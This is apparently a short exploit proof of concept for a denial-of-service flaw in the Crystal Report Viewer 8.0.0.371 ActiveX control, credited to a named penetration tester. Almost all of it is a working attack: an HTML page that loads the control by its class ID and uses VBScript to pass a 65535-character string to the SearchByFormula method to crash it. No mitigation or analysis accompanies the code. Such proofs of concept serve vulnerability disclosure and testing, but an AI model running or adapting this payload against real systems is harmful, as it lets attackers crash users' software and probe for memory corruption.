Crystal Report Viewer 8.0.0.371 - ActiveX Denial of Service Vulnerability



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Crystal Reporting Viewer v8.0.0.371
Author: Matthew Bergin
Website: www.berginpentesting.com
Website: www.smashthestack.org
<object classid='clsid:C4847596-972C-11D0-9567-00A0C9273C2A' id='target' ></object>
<script language='vbscript'>

targetFile = "C:\WINDOWS\system32\crviewer.dll"
prototype  = "Sub SearchByFormula ( ByVal formula As String )"
memberName = "SearchByFormula"
progid     = "CRVIEWERLib.CRViewer"
argCount   = 1

arg1=String(65535, "A")

target.SearchByFormula arg1 

</script>